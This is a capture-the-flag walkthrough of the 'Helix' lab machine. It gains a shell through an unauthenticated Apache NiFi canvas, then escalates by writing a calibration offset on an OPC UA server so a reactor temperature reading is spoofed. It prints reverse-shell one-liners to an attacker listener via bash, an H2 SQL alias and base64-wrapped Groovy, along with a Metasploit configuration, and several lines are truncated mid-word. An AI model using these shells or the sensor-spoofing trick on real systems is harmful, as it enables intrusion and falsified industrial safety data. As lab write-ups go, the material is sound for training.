Helix writeup & walkthrough

Helix writeup and walkthrough (HTB, Medium). Virtual host enumeration finds an unauthenticated Apache NiFi 1.21, with four separate routes to a shell. An SSH key left in a NiFi support bundle gives operator, and a password-protected PDF plus a photo point at an OPC UA server, where a writable calibration offset fakes the reactor temperature into maintenance range and unlocks a sudo console as root.

Enumeration

Two ports open, and one of them tells you where to go:

nmap -sC -sV -oA helix $IP
22/tcp open  ssh   OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open  http  nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/

nginx redirects to a hostname, so nothing works until that is in /etc/hosts:

echo "$IP helix.htb" | sudo tee -a /etc/hosts

The site itself is a dead end. But a box that already cares about hostnames is usually hiding more of them:

ffuf -u http://$IP -H "Host: FUZZ.helix.htb" \
  -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -ac -t 300

-ac instead of a hand-picked -fs. Every unknown vhost gets back, so without auto-calibration you get a hundred thousand h ffuf works the baseline out itself. I use ffuf rather than wfu wfuzz errors out on these targets, and debugging a fuzzer mid- want to spend an evening.

One hit:

echo "$IP flow.helix.htb" | sudo tee -a /etc/hosts

Foothold: Apache NiFi 1.21

flow.helix.htb is Apache NiFi 1.21, and the canvas loads with no login.

That matters more than any single CVE. NiFi's whole job is running processors, so anyone who reaches the canvas can add one that executes com product working exactly as designed, on an instance that shoul reachable. CVE-2023-34468 is the narrower bug sitting on top o is in range for it (fixed in 1.22.0).

There are four ways in. I took the first. Listener first, whichever you pick:

nc -lvnp 4444

The way I did it: ExecuteProcess

Drag on an ExecuteProcess processor and set:

Command             /bin/bash
Command Arguments   -c|bash -i >& /dev/tcp/10.10.14.x/4444 0>&
Argument Delimiter  |

The delimiter is what trips people up. NiFi splits the argumen it at the default and the entire reverse shell arrives as one argument and nothing happens.

A processor also refuses to run while it is invalid, and an un relationship counts as invalid. Drag its output into a **LogAt processor to satisfy that, then start it.

Shell as nifi.

Also works: ExecuteSQL with an H2 alias, CVE-2023-34468

The connection pool accepts an H2 JDBC URL, and H2 lets you de backed by Java. Edit the ExecuteSQL processor in the graph

CREATE ALIAS SHELL AS $$
  String shell(String cmd) throws java.io.IOException {
    new ProcessBuilder("/bin/bash", "-c", cmd).start();
    return "ok";
  }
$$;

SELECT SHELL('bash -i >& /dev/tcp/10.10.14.x/4444 0>&1');

Creating the alias compiles Java inside the database engine, a calls it. That is the whole trick: SQL that spawns a process.

Also works: ExecuteGroovyScript

Groovy gives you .execute() on any string, but it does not r shell, so the redirection in a plain bash -i >& /dev/tcp/... means nothing and you get no callback. Base64 it and let bash unpack it:

echo -n 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1' | base64 -w
"bash -c {echo,BASE64_HERE}|{base64,-d}|{bash,-i}".execute()

Also works: Metasploit

use exploit/multi/http/apache_nifi_processor_rce
set RHOSTS 10.10.11.x
set RPORT 80
set VHOST flow.helix.htb
set SSL false
set LHOST tun0
run

User: operator

NiFi writes support bundles, and this one was left behind hold should never contain:

ls /opt/nifi-1.21.0/support-bundles/
operator_id_ed25519.bak

A private key. Copy it back, fix the permissions, and it is a

chmod 600 operator_id_ed25519
ssh -i operator_id_ed25519 [email protected]

The PDF and the photo

operator's home has two files that only make sense together: PDF. Pull the PDF down with Penelope's download, then work out why it will not open:

pdf2john maintenance.pdf > pdf.hash
john pdf.hash --wordlist=/usr/share/wordlists/rockyou.txt

The password is operator1. Hold onto it, because it is the OPC UA login later, not just the PDF's.

The PDF is a maintenance procedure. It says the console does n until the plant is in maintenance mode, and it lists the conditions for getting there. The photo is the other half: it shows an OPC UA server on 4840, bound to localhost, so it needs forwarding out:

ssh -i operator_id_ed25519 -L 4840:127.0.0.1:4840 operator@hel

And sudo -l explains what all of this is for:

(root) NOPASSWD: /usr/local/bin/helix-maint-console

Root: talking to the reactor

OPC UA is an industrial protocol, and the Python opcua package ships command line tools, so there is no client to write. Start with discove

uv run --with opcua --with cryptography uadiscover -u opc.tcp:

It is FreeOpcUa's Python server on security mode 1, which is n nothing at all. Writing wants the operator / operator1 cre just gave up.

Browse the address space. Depth 3 is enough to find the intere without drowning in the standard OPC UA namespace:

uv run --with opcua --with cryptography uals -u opc.tcp://127.
Plant                ns=2;i=1
  Reactor              ns=2;i=2
  Safety               ns=2;i=7
  Control              ns=2;i=11

Everything else is boilerplate. Dump that subtree properly:

uv run --with opcua --with cryptography uals -u opc.tcp://127.1" -d 5
Reactor
  TemperatureRaw      ns=2;i=3    283.44
  Temperature         ns=2;i=4    283.44
  Pressure            ns=2;i=5    68.95
  CalibrationOffset   ns=2;i=6    0.0
Safety
  RodsInserted        ns=2;i=8    False
  EmergencyCooling    ns=2;i=9    False
  TripActive          ns=2;i=10   False
Control
  Mode                ns=2;i=12   NORMAL
  TestOverride        ns=2;i=13   False
  ResetTrip           ns=2;i=14   False

Mode and TestOverride are two of the three things the PDF asks take a write without complaint:

uv run --with opcua --with cryptography uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=12" -t string MAINTENANCE
uv run --with opcua --with cryptography uawrite -u opc.tcp://1;i=13" -t bool True

Temperature is the one that fights back. It has to be above 29 directly gets refused:

BadUserAccessDenied: "User does not have permission to perform the requested operation."

Pressure behaves the same way. CalibrationOffset does not, a puzzle: you cannot set the temperature, but you can set the nu added to it. TemperatureRaw stays exactly where it was while Temperature moves:

uv run --with opcua --with cryptography uawrite -u opc.tcp://1;i=6" -t double 15.0
uv run --with opcua --with cryptography uaread  -u opc.tcp://1;i=4"
297.80

Over the line, with all three conditions met. The console will

sudo helix-maint-console